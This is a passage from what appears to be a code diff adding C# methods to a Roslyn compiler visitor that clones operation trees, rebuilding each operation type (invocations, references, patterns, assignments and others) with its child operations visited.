InvocationOperation(invocationOperation.TargetMethod, invocationOperation.ConstrainedToType, Visit(invocationOperation.Instance), invocationOperation.IsVirtual, VisitArray(invocationOperation.Arguments), invocationOperation.OwningSemanticModel, invocationOperation.Syntax, invocationOperation.Type, invocationOperation.IsImplicit); + } + + public override IOperation VisitArrayElementReference(IArrayElementReferenceOperation operation, object? argument) + { + ArrayElementReferenceOperation arrayElementReferenceOperation = (ArrayElementReferenceOperation)operation; + return new ArrayElementReferenceOperation(Visit(arrayElementReferenceOperation.ArrayReference), VisitArray(arrayElementReferenceOperation.Indices), arrayElementReferenceOperation.OwningSemanticModel, arrayElementReferenceOperation.Syntax, arrayElementReferenceOperation.Type, arrayElementReferenceOperation.IsImplicit); + } + + public override IOperation VisitLocalReference(ILocalReferenceOperation operation, object? argument) + { + LocalReferenceOperation localReferenceOperation = (LocalReferenceOperation)operation; + return new LocalReferenceOperation(localReferenceOperation.Local, localReferenceOperation.IsDeclaration, localReferenceOperation.OwningSemanticModel, localReferenceOperation.Syntax, localReferenceOperation.Type, localReferenceOperation.OperationConstantValue, localReferenceOperation.IsImplicit); + } + + public override IOperation VisitParameterReference(IParameterReferenceOperation operation, object? argument) + { + ParameterReferenceOperation parameterReferenceOperation = (ParameterReferenceOperation)operation; + return new ParameterReferenceOperation(parameterReferenceOperation.Parameter, parameterReferenceOperation.OwningSemanticModel, parameterReferenceOperation.Syntax, parameterReferenceOperation.Type, parameterReferenceOperation.IsImplicit); + } + + public override IOperation VisitFieldReference(IFieldReferenceOperation operation, object? argument) + { + FieldReferenceOperation fieldReferenceOperation = (FieldReferenceOperation)operation; + return new FieldReferenceOperation(fieldReferenceOperation.Field, fieldReferenceOperation.IsDeclaration, Visit(fieldReferenceOperation.Instance), fieldReferenceOperation.OwningSemanticModel, fieldReferenceOperation.Syntax, fieldReferenceOperation.Type, fieldReferenceOperation.OperationConstantValue, fieldReferenceOperation.IsImplicit); + } + + public override IOperation VisitMethodReference(IMethodReferenceOperation operation, object? argument) + { + MethodReferenceOperation methodReferenceOperation = (MethodReferenceOperation)operation; + return new MethodReferenceOperation(methodReferenceOperation.Method, methodReferenceOperation.ConstrainedToType, methodReferenceOperation.IsVirtual, Visit(methodReferenceOperation.Instance), methodReferenceOperation.OwningSemanticModel, methodReferenceOperation.Syntax, methodReferenceOperation.Type, methodReferenceOperation.IsImplicit); + } + + public override IOperation VisitPropertyReference(IPropertyReferenceOperation operation, object? argument) + { + PropertyReferenceOperation propertyReferenceOperation = (PropertyReferenceOperation)operation; + return new PropertyReferenceOperation(propertyReferenceOperation.Property, propertyReferenceOperation.ConstrainedToType, VisitArray(propertyReferenceOperation.Arguments), Visit(propertyReferenceOperation.Instance), propertyReferenceOperation.OwningSemanticModel, propertyReferenceOperation.Syntax, propertyReferenceOperation.Type, propertyReferenceOperation.IsImplicit); + } + + public override IOperation VisitEventReference(IEventReferenceOperation operation, object? argument) + { + EventReferenceOperation eventReferenceOperation = (EventReferenceOperation)operation; + return new EventReferenceOperation(eventReferenceOperation.Event, eventReferenceOperation.ConstrainedToType, Visit(eventReferenceOperation.Instance), eventReferenceOperation.OwningSemanticModel, eventReferenceOperation.Syntax, eventReferenceOperation.Type, eventReferenceOperation.IsImplicit); + } + + public override IOperation VisitUnaryOperator(IUnaryOperation operation, object? argument) + { + UnaryOperation unaryOperation = (UnaryOperation)operation; + return new UnaryOperation(unaryOperation.OperatorKind, Visit(unaryOperation.Operand), unaryOperation.IsLifted, unaryOperation.IsChecked, unaryOperation.OperatorMethod, unaryOperation.ConstrainedToType, unaryOperation.OwningSemanticModel, unaryOperation.Syntax, unaryOperation.Type, unaryOperation.OperationConstantValue, unaryOperation.IsImplicit); + } + + public override IOperation VisitBinaryOperator(IBinaryOperation operation, object? argument) + { + BinaryOperation binaryOperation = (BinaryOperation)operation; + return new BinaryOperation(binaryOperation.OperatorKind, Visit(binaryOperation.LeftOperand), Visit(binaryOperation.RightOperand), binaryOperation.IsLifted, binaryOperation.IsChecked, binaryOperation.IsCompareText, binaryOperation.OperatorMethod, binaryOperation.ConstrainedToType, binaryOperation.UnaryOperatorMethod, binaryOperation.OwningSemanticModel, binaryOperation.Syntax, binaryOperation.Type, binaryOperation.OperationConstantValue, binaryOperation.IsImplicit); + } + + public override IOperation VisitConditional(IConditionalOperation operation, object? argument) + { + ConditionalOperation conditionalOperation = (ConditionalOperation)operation; + return new ConditionalOperation(Visit(conditionalOperation.Condition), Visit(conditionalOperation.WhenTrue), Visit(conditionalOperation.WhenFalse), conditionalOperation.IsRef, conditionalOperation.OwningSemanticModel, conditionalOperation.Syntax, conditionalOperation.Type, conditionalOperation.OperationConstantValue, conditionalOperation.IsImplicit); + } + + public override IOperation VisitCoalesce(ICoalesceOperation operation, object? argument) + { + CoalesceOperation coalesceOperation = (CoalesceOperation)operation; + return new CoalesceOperation(Visit(coalesceOperation.Value), Visit(coalesceOperation.WhenNull), coalesceOperation.ValueConversionConvertible, coalesceOperation.OwningSemanticModel, coalesceOperation.Syntax, coalesceOperation.Type, coalesceOperation.OperationConstantValue, coalesceOperation.IsImplicit); + } + + public override IOperation VisitAnonymousFunction(IAnonymousFunctionOperation operation, object? argument) + { + AnonymousFunctionOperation anonymousFunctionOperation = (AnonymousFunctionOperation)operation; + return new AnonymousFunctionOperation(anonymousFunctionOperation.Symbol, Visit(anonymousFunctionOperation.Body), anonymousFunctionOperation.OwningSemanticModel, anonymousFunctionOperation.Syntax, anonymousFunctionOperation.IsImplicit); + } + + public override IOperation VisitObjectCreation(IObjectCreationOperation operation, object? argument) + { + ObjectCreationOperation objectCreationOperation = (ObjectCreationOperation)operation; + return new ObjectCreationOperation(objectCreationOperation.Constructor, Visit(objectCreationOperation.Initializer), VisitArray(objectCreationOperation.Arguments), objectCreationOperation.OwningSemanticModel, objectCreationOperation.Syntax, objectCreationOperation.Type, objectCreationOperation.OperationConstantValue, objectCreationOperation.IsImplicit); + } + + public override IOperation VisitTypeParameterObjectCreation(ITypeParameterObjectCreationOperation operation, object? argument) + { + TypeParameterObjectCreationOperation typeParameterObjectCreationOperation = (TypeParameterObjectCreationOperation)operation; + return new TypeParameterObjectCreationOperation(Visit(typeParameterObjectCreationOperation.Initializer), typeParameterObjectCreationOperation.OwningSemanticModel, typeParameterObjectCreationOperation.Syntax, typeParameterObjectCreationOperation.Type, typeParameterObjectCreationOperation.IsImplicit); + } + + public override IOperation VisitArrayCreation(IArrayCreationOperation operation, object? argument) + { + ArrayCreationOperation arrayCreationOperation = (ArrayCreationOperation)operation; + return new ArrayCreationOperation(VisitArray(arrayCreationOperation.DimensionSizes), Visit(arrayCreationOperation.Initializer), arrayCreationOperation.OwningSemanticModel, arrayCreationOperation.Syntax, arrayCreationOperation.Type, arrayCreationOperation.IsImplicit); + } + + public override IOperation VisitInstanceReference(IInstanceReferenceOperation operation, object? argument) + { + InstanceReferenceOperation instanceReferenceOperation = (InstanceReferenceOperation)operation; + return new InstanceReferenceOperation(instanceReferenceOperation.ReferenceKind, instanceReferenceOperation.OwningSemanticModel, instanceReferenceOperation.Syntax, instanceReferenceOperation.Type, instanceReferenceOperation.IsImplicit); + } + + public override IOperation VisitIsType(IIsTypeOperation operation, object? argument) + { + IsTypeOperation isTypeOperation = (IsTypeOperation)operation; + return new IsTypeOperation(Visit(isTypeOperation.ValueOperand), isTypeOperation.TypeOperand, isTypeOperation.IsNegated, isTypeOperation.OwningSemanticModel, isTypeOperation.Syntax, isTypeOperation.Type, isTypeOperation.IsImplicit); + } + + public override IOperation VisitAwait(IAwaitOperation operation, object? argument) + { + AwaitOperation awaitOperation = (AwaitOperation)operation; + return new AwaitOperation(Visit(awaitOperation.Operation), awaitOperation.OwningSemanticModel, awaitOperation.Syntax, awaitOperation.Type, awaitOperation.IsImplicit); + } + + public override IOperation VisitSimpleAssignment(ISimpleAssignmentOperation operation, object? argument) + { + SimpleAssignmentOperation simpleAssignmentOperation = (SimpleAssignmentOperation)operation; + return new SimpleAssignmentOperation(simpleAssignmentOperation.IsRef, Visit(simpleAssignmentOperation.Target), Visit(simpleAssignmentOperation.Value), simpleAssignmentOperation.OwningSemanticModel, simpleAssignmentOperation.Syntax, simpleAssignmentOperation.Type, simpleAssignmentOperation.OperationConstantValue, simpleAssignmentOperation.IsImplicit); + } + + public override IOperation VisitCompoundAssignment(ICompoundAssignmentOperation operation, object? argument) + { + CompoundAssignmentOperation compoundAssignmentOperation = (CompoundAssignmentOperation)operation; + return new CompoundAssignmentOperation(compoundAssignmentOperation.InConversionConvertible, compoundAssignmentOperation.OutConversionConvertible, compoundAssignmentOperation.OperatorKind, compoundAssignmentOperation.IsLifted, compoundAssignmentOperation.IsChecked, compoundAssignmentOperation.OperatorMethod, compoundAssignmentOperation.ConstrainedToType, Visit(compoundAssignmentOperation.Target), Visit(compoundAssignmentOperation.Value), compoundAssignmentOperation.OwningSemanticModel, compoundAssignmentOperation.Syntax, compoundAssignmentOperation.Type, compoundAssignmentOperation.IsImplicit); + } + + public override IOperation VisitParenthesized(IParenthesizedOperation operation, object? argument) + { + ParenthesizedOperation parenthesizedOperation = (ParenthesizedOperation)operation; + return new ParenthesizedOperation(Visit(parenthesizedOperation.Operand), parenthesizedOperation.OwningSemanticModel, parenthesizedOperation.Syntax, parenthesizedOperation.Type, parenthesizedOperation.OperationConstantValue, parenthesizedOperation.IsImplicit); + } + + public override IOperation VisitEventAssignment(IEventAssignmentOperation operation, object? argument) + { + EventAssignmentOperation eventAssignmentOperation = (EventAssignmentOperation)operation; + return new EventAssignmentOperation(Visit(eventAssignmentOperation.EventReference), Visit(eventAssignmentOperation.HandlerValue), eventAssignmentOperation.Adds, eventAssignmentOperation.OwningSemanticModel, eventAssignmentOperation.Syntax, eventAssignmentOperation.Type, eventAssignmentOperation.IsImplicit); + } + + public override IOperation VisitConditionalAccess(IConditionalAccessOperation operation, object? argument) + { + ConditionalAccessOperation conditionalAccessOperation = (ConditionalAccessOperation)operation; + return new ConditionalAccessOperation(Visit(conditionalAccessOperation.Operation), Visit(conditionalAccessOperation.WhenNotNull), conditionalAccessOperation.OwningSemanticModel, conditionalAccessOperation.Syntax, conditionalAccessOperation.Type, conditionalAccessOperation.IsImplicit); + } + + public override IOperation VisitConditionalAccessInstance(IConditionalAccessInstanceOperation operation, object? argument) + { + ConditionalAccessInstanceOperation conditionalAccessInstanceOperation = (ConditionalAccessInstanceOperation)operation; + return new ConditionalAccessInstanceOperation(conditionalAccessInstanceOperation.OwningSemanticModel, conditionalAccessInstanceOperation.Syntax, conditionalAccessInstanceOperation.Type, conditionalAccessInstanceOperation.IsImplicit); + } + + public override IOperation VisitInterpolatedString(IInterpolatedStringOperation operation, object? argument) + { + InterpolatedStringOperation interpolatedStringOperation = (InterpolatedStringOperation)operation; + return new InterpolatedStringOperation(VisitArray(interpolatedStringOperation.Parts), interpolatedStringOperation.OwningSemanticModel, interpolatedStringOperation.Syntax, interpolatedStringOperation.Type, interpolatedStringOperation.OperationConstantValue, interpolatedStringOperation.IsImplicit); + } + + public override IOperation VisitAnonymousObjectCreation(IAnonymousObjectCreationOperation operation, object? argument) + { + AnonymousObjectCreationOperation anonymousObjectCreationOperation = (AnonymousObjectCreationOperation)operation; + return new AnonymousObjectCreationOperation(VisitArray(anonymousObjectCreationOperation.Initializers), anonymousObjectCreationOperation.OwningSemanticModel, anonymousObjectCreationOperation.Syntax, anonymousObjectCreationOperation.Type, anonymousObjectCreationOperation.IsImplicit); + } + + public override IOperation VisitObjectOrCollectionInitializer(IObjectOrCollectionInitializerOperation operation, object? argument) + { + ObjectOrCollectionInitializerOperation objectOrCollectionInitializerOperation = (ObjectOrCollectionInitializerOperation)operation; + return new ObjectOrCollectionInitializerOperation(VisitArray(objectOrCollectionInitializerOperation.Initializers), objectOrCollectionInitializerOperation.OwningSemanticModel, objectOrCollectionInitializerOperation.Syntax, objectOrCollectionInitializerOperation.Type, objectOrCollectionInitializerOperation.IsImplicit); + } + + public override IOperation VisitMemberInitializer(IMemberInitializerOperation operation, object? argument) + { + MemberInitializerOperation memberInitializerOperation = (MemberInitializerOperation)operation; + return new MemberInitializerOperation(Visit(memberInitializerOperation.InitializedMember), Visit(memberInitializerOperation.Initializer), memberInitializerOperation.OwningSemanticModel, memberInitializerOperation.Syntax, memberInitializerOperation.Type, memberInitializerOperation.IsImplicit); + } + + public override IOperation VisitNameOf(INameOfOperation operation, object? argument) + { + NameOfOperation nameOfOperation = (NameOfOperation)operation; + return new NameOfOperation(Visit(nameOfOperation.Argument), nameOfOperation.OwningSemanticModel, nameOfOperation.Syntax, nameOfOperation.Type, nameOfOperation.OperationConstantValue, nameOfOperation.IsImplicit); + } + + public override IOperation VisitTuple(ITupleOperation operation, object? argument) + { + TupleOperation tupleOperation = (TupleOperation)operation; + return new TupleOperation(VisitArray(tupleOperation.Elements), tupleOperation.NaturalType, tupleOperation.OwningSemanticModel, tupleOperation.Syntax, tupleOperation.Type, tupleOperation.IsImplicit); + } + + public override IOperation VisitDynamicMemberReference(IDynamicMemberReferenceOperation operation, object? argument) + { + DynamicMemberReferenceOperation dynamicMemberReferenceOperation = (DynamicMemberReferenceOperation)operation; + return new DynamicMemberReferenceOperation(Visit(dynamicMemberReferenceOperation.Instance), dynamicMemberReferenceOperation.MemberName, dynamicMemberReferenceOperation.TypeArguments, dynamicMemberReferenceOperation.ContainingType, dynamicMemberReferenceOperation.OwningSemanticModel, dynamicMemberReferenceOperation.Syntax, dynamicMemberReferenceOperation.Type, dynamicMemberReferenceOperation.IsImplicit); + } + + public override IOperation VisitTranslatedQuery(ITranslatedQueryOperation operation, object? argument) + { + TranslatedQueryOperation translatedQueryOperation = (TranslatedQueryOperation)operation; + return new TranslatedQueryOperation(Visit(translatedQueryOperation.Operation), translatedQueryOperation.OwningSemanticModel, translatedQueryOperation.Syntax, translatedQueryOperation.Type, translatedQueryOperation.IsImplicit); + } + + public override IOperation VisitDelegateCreation(IDelegateCreationOperation operation, object? argument) + { + DelegateCreationOperation delegateCreationOperation = (DelegateCreationOperation)operation; + return new DelegateCreationOperation(Visit(delegateCreationOperation.Target), delegateCreationOperation.OwningSemanticModel, delegateCreationOperation.Syntax, delegateCreationOperation.Type, delegateCreationOperation.IsImplicit); + } + + public override IOperation VisitDefaultValue(IDefaultValueOperation operation, object? argument) + { + DefaultValueOperation defaultValueOperation = (DefaultValueOperation)operation; + return new DefaultValueOperation(defaultValueOperation.OwningSemanticModel, defaultValueOperation.Syntax, defaultValueOperation.Type, defaultValueOperation.OperationConstantValue, defaultValueOperation.IsImplicit); + } + + public override IOperation VisitTypeOf(ITypeOfOperation operation, object? argument) + { + TypeOfOperation typeOfOperation = (TypeOfOperation)operation; + return new TypeOfOperation(typeOfOperation.TypeOperand, typeOfOperation.OwningSemanticModel, typeOfOperation.Syntax, typeOfOperation.Type, typeOfOperation.IsImplicit); + } + + public override IOperation VisitSizeOf(ISizeOfOperation operation, object? argument) + { + SizeOfOperation sizeOfOperation = (SizeOfOperation)operation; + return new SizeOfOperation(sizeOfOperation.TypeOperand, sizeOfOperation.OwningSemanticModel, sizeOfOperation.Syntax, sizeOfOperation.Type, sizeOfOperation.OperationConstantValue, sizeOfOperation.IsImplicit); + } + + public override IOperation VisitAddressOf(IAddressOfOperation operation, object? argument) + { + AddressOfOperation addressOfOperation = (AddressOfOperation)operation; + return new AddressOfOperation(Visit(addressOfOperation.Reference), addressOfOperation.OwningSemanticModel, addressOfOperation.Syntax, addressOfOperation.Type, addressOfOperation.IsImplicit); + } + + public override IOperation VisitIsPattern(IIsPatternOperation operation, object? argument) + { + IsPatternOperation isPatternOperation = (IsPatternOperation)operation; + return new IsPatternOperation(Visit(isPatternOperation.Value), Visit(isPatternOperation.Pattern), isPatternOperation.OwningSemanticModel, isPatternOperation.Syntax, isPatternOperation.Type, isPatternOperation.IsImplicit); + } + + public override IOperation VisitIncrementOrDecrement(IIncrementOrDecrementOperation operation, object? argument) + { + IncrementOrDecrementOperation incrementOrDecrementOperation = (IncrementOrDecrementOperation)operation; + return new IncrementOrDecrementOperation(incrementOrDecrementOperation.IsPostfix, incrementOrDecrementOperation.IsLifted, incrementOrDecrementOperation.IsChecked, Visit(incrementOrDecrementOperation.Target), incrementOrDecrementOperation.OperatorMethod, incrementOrDecrementOperation.ConstrainedToType, incrementOrDecrementOperation.Kind, incrementOrDecrementOperation.OwningSemanticModel, incrementOrDecrementOperation.Syntax, incrementOrDecrementOperation.Type, incrementOrDecrementOperation.IsImplicit); + } + + public override IOperation VisitThrow(IThrowOperation operation, object? argument) + { + ThrowOperation throwOperation = (ThrowOperation)operation; + return new ThrowOperation(Visit(throwOperation.Exception), throwOperation.OwningSemanticModel, throwOperation.Syntax, throwOperation.Type, throwOperation.IsImplicit); + } + + public override IOperation VisitDeconstructionAssignment(IDeconstructionAssignmentOperation operation, object? argument) + { + DeconstructionAssignmentOperation deconstructionAssignmentOperation = (DeconstructionAssignmentOperation)operation; + return new DeconstructionAssignmentOperation(Visit(deconstructionAssignmentOperation.Target), Visit(deconstructionAssignmentOperation.Value), deconstructionAssignmentOperation.OwningSemanticModel, deconstructionAssignmentOperation.Syntax, deconstructionAssignmentOperation.Type, deconstructionAssignmentOperation.IsImplicit); + } + + public override IOperation VisitDeclarationExpression(IDeclarationExpressionOperation operation, object? argument) + { + DeclarationExpressionOperation declarationExpressionOperation = (DeclarationExpressionOperation)operation; + return new DeclarationExpressionOperation(Visit(declarationExpressionOperation.Expression), declarationExpressionOperation.OwningSemanticModel, declarationExpressionOperation.Syntax, declarationExpressionOperation.Type, declarationExpressionOperation.IsImplicit); + } + + public override IOperation VisitOmittedArgument(IOmittedArgumentOperation operation, object? argument) + { + OmittedArgumentOperation omittedArgumentOperation = (OmittedArgumentOperation)operation; + return new OmittedArgumentOperation(omittedArgumentOperation.OwningSemanticModel, omittedArgumentOperation.Syntax, omittedArgumentOperation.Type, omittedArgumentOperation.IsImplicit); + } + + public override IOperation VisitFieldInitializer(IFieldInitializerOperation operation, object? argument) + { + FieldInitializerOperation fieldInitializerOperation = (FieldInitializerOperation)operation; + return new FieldInitializerOperation(fieldInitializerOperation.InitializedFields, fieldInitializerOperation.Locals, Visit(fieldInitializerOperation.Value), fieldInitializerOperation.OwningSemanticModel, fieldInitializerOperation.Syntax, fieldInitializerOperation.IsImplicit); + } + + public override IOperation VisitVariableInitializer(IVariableInitializerOperation operation, object? argument) + { + VariableInitializerOperation variableInitializerOperation = (VariableInitializerOperation)operation; + return new VariableInitializerOperation(variableInitializerOperation.Locals, Visit(variableInitializerOperation.Value), variableInitializerOperation.OwningSemanticModel, variableInitializerOperation.Syntax, variableInitializerOperation.IsImplicit); + } + + public override IOperation VisitPropertyInitializer(IPropertyInitializerOperation operation, object? argument) + { + PropertyInitializerOperation propertyInitializerOperation = (PropertyInitializerOperation)operation; + return new PropertyInitializerOperation(propertyInitializerOperation.InitializedProperties, propertyInitializerOperation.Locals, Visit(propertyInitializerOperation.Value), propertyInitializerOperation.OwningSemanticModel, propertyInitializerOperation.Syntax, propertyInitializerOperation.IsImplicit); + } + + public override IOperation VisitParameterInitializer(IParameterInitializerOperation operation, object? argument) + { + ParameterInitializerOperation parameterInitializerOperation = (ParameterInitializerOperation)operation; + return new ParameterInitializerOperation(parameterInitializerOperation.Parameter, parameterInitializerOperation.Locals, Visit(parameterInitializerOperation.Value), parameterInitializerOperation.OwningSemanticModel, parameterInitializerOperation.Syntax, parameterInitializerOperation.IsImplicit); + } + + public override IOperation VisitArrayInitializer(IArrayInitializerOperation operation, object? argument) + { + ArrayInitializerOperation arrayInitializerOperation = (ArrayInitializerOperation)operation; + return new ArrayInitializerOperation(VisitArray(arrayInitializerOperation.ElementValues), arrayInitializerOperation.OwningSemanticModel, arrayInitializerOperation.Syntax, arrayInitializerOperation.IsImplicit); + } + + public override IOperation VisitVariableDeclarator(IVariableDeclaratorOperation operation, object? argument) + { + VariableDeclaratorOperation variableDeclaratorOperation = (VariableDeclaratorOperation)operation; + return new VariableDeclaratorOperation(variableDeclaratorOperation.Symbol, Visit(variableDeclaratorOperation.Initializer), VisitArray(variableDeclaratorOperation.IgnoredArguments), variableDeclaratorOperation.OwningSemanticModel, variableDeclaratorOperation.Syntax, variableDeclaratorOperation.IsImplicit); + } + + public override IOperation VisitVariableDeclaration(IVariableDeclarationOperation operation, object? argument) + { + VariableDeclarationOperation variableDeclarationOperation = (VariableDeclarationOperation)operation; + return new VariableDeclarationOperation(VisitArray(variableDeclarationOperation.Declarators), Visit(variableDeclarationOperation.Initializer), VisitArray(variableDeclarationOperation.IgnoredDimensions), variableDeclarationOperation.OwningSemanticModel, variableDeclarationOperation.Syntax, variableDeclarationOperation.IsImplicit); + } + + public override IOperation VisitArgument(IArgumentOperation operation, object? argument) + { + ArgumentOperation argumentOperation = (ArgumentOperation)operation; + return new ArgumentOperation(argumentOperation.ArgumentKind, argumentOperation.Parameter, Visit(argumentOperation.Value), argumentOperation.InConversionConvertible, argumentOperation.OutConversionConvertible, argumentOperation.OwningSemanticModel, argumentOperation.Syntax, argumentOperation.IsImplicit); + } + + public override IOperation VisitCatchClause(ICatchClauseOperation operation, object? argument) + { + CatchClauseOperation catchClauseOperation = (CatchClauseOperation)operation; + return new CatchClauseOperation(Visit(catchClauseOperation.ExceptionDeclarationOrExpression), catchClauseOperation.ExceptionType, catchClauseOperation.Locals, Visit(catchClauseOperation.Filter), Visit(catchClauseOperation.Handler), catchClauseOperation.OwningSemanticModel, catchClauseOperation.Syntax, catchClauseOperation.IsImplicit); + } + + public override IOperation VisitSwitchCase(ISwitchCaseOperation operation, object? argument) + { + SwitchCaseOperation switchCaseOperation = (SwitchCaseOperation)operation; + return new SwitchCaseOperation(VisitArray(switchCaseOperation.Clauses), VisitArray(switchCaseOperation.Body), switchCaseOperation.Locals, Visit(switchCaseOperation.Condition), switchCaseOperation.OwningSemanticModel, switchCaseOperation.Syntax, switchCaseOperation.IsImplicit); + } + + public override IOperation VisitDefaultCaseClause(IDefaultCaseClauseOperation operation, object? argument) + { + DefaultCaseClauseOperation defaultCaseClauseOperation = (DefaultCaseClauseOperation)operation; + return new DefaultCaseClauseOperation(defaultCaseClauseOperation.Label, defaultCaseClauseOperation.OwningSemanticModel, defaultCaseClauseOperation.Syntax, defaultCaseClauseOperation.IsImplicit); + } + + public override IOperation VisitPatternCaseClause(IPatternCaseClauseOperation operation, object? argument) + { + PatternCaseClauseOperation patternCaseClauseOperation = (PatternCaseClauseOperation)operation; + return new PatternCaseClauseOperation(patternCaseClauseOperation.Label, Visit(patternCaseClauseOperation.Pattern), Visit(patternCaseClauseOperation.Guard), patternCaseClauseOperation.OwningSemanticModel, patternCaseClauseOperation.Syntax, patternCaseClauseOperation.IsImplicit); + } + + public override IOperation VisitRangeCaseClause(IRangeCaseClauseOperation operation, object? argument) + { + RangeCaseClauseOperation rangeCaseClauseOperation = (RangeCaseClauseOperation)operation; + return new RangeCaseClauseOperation(Visit(rangeCaseClauseOperation.MinimumValue), Visit(rangeCaseClauseOperation.MaximumValue), rangeCaseClauseOperation.Label, rangeCaseClauseOperation.OwningSemanticModel, rangeCaseClauseOperation.Syntax, rangeCaseClauseOperation.IsImplicit); + } + + public override IOperation VisitRelationalCaseClause(IRelationalCaseClauseOperation operation, object? argument) + { + RelationalCaseClauseOperation relationalCaseClauseOperation = (RelationalCaseClauseOperation)operation; + return new RelationalCaseClauseOperation(Visit(relationalCaseClauseOperation.Value), relationalCaseClauseOperation.Relation, relationalCaseClauseOperation.Label, relationalCaseClauseOperation.OwningSemanticModel, relationalCaseClauseOperation.Syntax, relationalCaseClauseOperation.IsImplicit); + } + + public override IOperation VisitSingleValueCaseClause(ISingleValueCaseClauseOperation operation, object? argument) + { + SingleValueCaseClauseOperation singleValueCaseClauseOperation = (SingleValueCaseClauseOperation)operation; + return new SingleValueCaseClauseOperation(Visit(singleValueCaseClauseOperation.Value), singleValueCaseClauseOperation.Label, singleValueCaseClauseOperation.OwningSemanticModel, singleValueCaseClauseOperation.Syntax, singleValueCaseClauseOperation.IsImplicit); + } + + public override IOperation VisitInterpolatedStringText(IInterpolatedStringTextOperation operation, object? argument) + { + InterpolatedStringTextOperation interpolatedStringTextOperation = (InterpolatedStringTextOperation)operation; + return new InterpolatedStringTextOperation(Visit(interpolatedStringTextOperation.Text), interpolatedStringTextOperation.OwningSemanticModel, interpolatedStringTextOperation.Syntax, interpolatedStringTextOperation.IsImplicit); + } + + public override IOperation VisitInterpolation(IInterpolationOperation operation, object? argument) + { + InterpolationOperation interpolationOperation = (InterpolationOperation)operation; + return new InterpolationOperation(Visit(interpolationOperation.Expression), Visit(interpolationOperation.Alignment), Visit(interpolationOperation.FormatString), interpolationOperation.OwningSemanticModel, interpolationOperation.Syntax, interpolationOperation.IsImplicit); + } + + public override IOperation VisitConstantPattern(IConstantPatternOperation operation, object? argument) + { + ConstantPatternOperation constantPatternOperation = (ConstantPatternOperation)operation; + return new ConstantPatternOperation(Visit(constantPatternOperation.Value), constantPatternOperation.InputType, constantPatternOperation.NarrowedType, constantPatternOperation.OwningSemanticModel, constantPatternOperation.Syntax, constantPatternOperation.IsImplicit); + } + + public override IOperation VisitDeclarationPattern(IDeclarationPatternOperation operation, object? argument) + { + DeclarationPatternOperation declarationPatternOperation = (DeclarationPatternOperation)operation; + return new DeclarationPatternOperation(declarationPatternOperation.MatchedType, declarationPatternOperation.MatchesNull, declarationPatternOperation.DeclaredSymbol, declarationPatternOperation.InputType, declarationPatternOperation.NarrowedType, declarationPatternOperation.OwningSemanticModel, declarationPatternOperation.Syntax, declarationPatternOperation.IsImplicit); + } + + public override IOperation VisitTupleBinaryOperator(ITupleBinaryOperation operation, object? argument) + { + TupleBinaryOperation tupleBinaryOperation = (TupleBinaryOperation)operation; + return new TupleBinaryOperation(tupleBinaryOperation.OperatorKind, Visit(tupleBinaryOperation.LeftOperand), Visit(tupleBinaryOperation.RightOperand), tupleBinaryOperation.OwningSemanticModel, tupleBinaryOperation.Syntax, tupleBinaryOperation.Type, tupleBinaryOperation.IsImplicit); + } + + public override IOperation VisitMethodBodyOperation(IMethodBodyOperation operation, object? argument) + { + MethodBodyOperation methodBodyOperation = (MethodBodyOperation)operation; + return new MethodBodyOperation(Visit(methodBodyOperation.BlockBody), Visit(methodBodyOperation.ExpressionBody), methodBodyOperation.OwningSemanticModel, methodBodyOperation.Syntax, methodBodyOperation.IsImplicit); + } + + public override IOperation VisitConstructorBodyOperation(IConstructorBodyOperation operation, object? argument) + { + ConstructorBodyOperation constructorBodyOperation = (ConstructorBodyOperation)operation; + return new ConstructorBodyOperation(constructorBodyOperation.Locals, Visit(constructorBodyOperation.Initializer), Visit(constructorBodyOperation.BlockBody), Visit(constructorBodyOperation.ExpressionBody), constructorBodyOperation.OwningSemanticModel, constructorBodyOperation.Syntax, constructorBodyOperation.IsImplicit); + } + + public override IOperation VisitDiscardOperation(IDiscardOperation operation, object? argument) + { + DiscardOperation discardOperation = (DiscardOperation)operation; + return new DiscardOperation(discardOperation.DiscardSymbol, discardOperation.OwningSemanticModel, discardOperation.Syntax, discardOperation.Type, discardOperation.IsImplicit); + } + + public override IOperation VisitFlowCaptureReference(IFlowCaptureReferenceOperation operation, object? argument) + { + FlowCaptureReferenceOperation flowCaptureReferenceOperation = (FlowCaptureReferenceOperation)operation; + return new FlowCaptureReferenceOperation(flowCaptureReferenceOperation.Id, flowCaptureReferenceOperation.IsInitialization, flowCaptureReferenceOperation.OwningSemanticModel, flowCaptureReferenceOperation.Syntax, flowCaptureReferenceOperation.Type, flowCaptureReferenceOperation.OperationConstantValue, flowCaptureReferenceOperation.IsImplicit); + } + + public override IOperation VisitCoalesceAssignment(ICoalesceAssignmentOperation operation, object? argument) + { + CoalesceAssignmentOperation coalesceAssignmentOperation = (CoalesceAssignmentOperation)operation; + return new CoalesceAssignmentOperation(Visit(coalesceAssignmentOperation.Target), Visit(coalesceAssignmentOperation.Value), coalesceAssignmentOperation.OwningSemanticModel, coalesceAssignmentOperation.Syntax, coalesceAssignmentOperation.Type, coalesceAssignmentOperation.IsImplicit); + } + + public override IOperation VisitRangeOperation(IRangeOperation operation, object? argument) + { + RangeOperation rangeOperation = (RangeOperation)operation; + return new RangeOperation(Visit(rangeOperation.LeftOperand), Visit(rangeOperation.RightOperand), rangeOperation.IsLifted, rangeOperation.Method, rangeOperation.OwningSemanticModel, rangeOperation.Syntax, rangeOperation.Type, rangeOperation.IsImplicit); + } + + public override IOperation VisitReDim(IReDimOperation operation, object? argument) + { + ReDimOperation reDimOperation = (ReDimOperation)operation; + return new ReDimOperation(VisitArray(reDimOperation.Clauses), reDimOperation.Preserve, reDimOperation.OwningSemanticModel, reDimOperation.Syntax, reDimOperation.IsImplicit); + } + + public override IOperation VisitReDimClause(IReDimClauseOperation operation, object? argument) + { + ReDimClauseOperation reDimClauseOperation = (ReDimClauseOperation)operation; + return new ReDimClauseOperation(Visit(reDimClauseOperation.Operand), VisitArray(reDimClauseOperation.DimensionSizes), reDimClauseOperation.OwningSemanticModel, reDimClauseOperation.Syntax, reDimClauseOperation.IsImplicit); + } + + public override IOperation VisitRecursivePattern(IRecursivePatternOperation operation, object? argument) + { + RecursivePatternOperation recursivePatternOperation = (RecursivePatternOperation)operation; + return new RecursivePatternOperation(recursivePatternOperation.MatchedType, recursivePatternOperation.DeconstructSymbol, VisitArray(recursivePatternOperation.DeconstructionSubpatterns), VisitArray(recursivePatternOperation.PropertySubpatterns), recursivePatternOperation.DeclaredSymbol, recursivePatternOperation.InputType, recursivePatternOperation.NarrowedType, recursivePatternOperation.OwningSemanticModel, recursivePatternOperation.Syntax, recursivePatternOperation.IsImplicit); + } + + public override IOperation 